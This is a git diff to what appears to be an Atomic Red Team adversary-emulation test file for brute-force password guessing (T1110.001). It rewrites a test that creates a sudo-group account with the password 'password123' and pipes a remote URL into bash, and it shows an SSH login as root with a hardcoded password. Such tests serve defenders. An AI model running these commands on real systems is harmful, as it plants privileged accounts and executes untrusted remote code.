diff --git a/atomics/T1110.001/T1110.001.yaml b/atomics/T1110.001/T1110.001.yaml
index 3ec16bf7..08aeeeef 100644
--- a/atomics/T1110.001/T1110.001.yaml
+++ b/atomics/T1110.001/T1110.001.yaml
@@ -185,9 +185,7 @@ atomic_tests:
     elevation_required: true
     command: |
       useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
-      su art
-      cd /tmp
-      curl -s #{remote_url} |bash
+      su -c "cd /tmp; curl -s #{remote_url} | bash" art
     cleanup_command: |
       userdel -fr art
 
@@ -299,4 +297,4 @@ atomic_tests:
         #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
         }
     name: powershell
-    elevation_required: false
\ No newline at end of file
+    elevation_required: false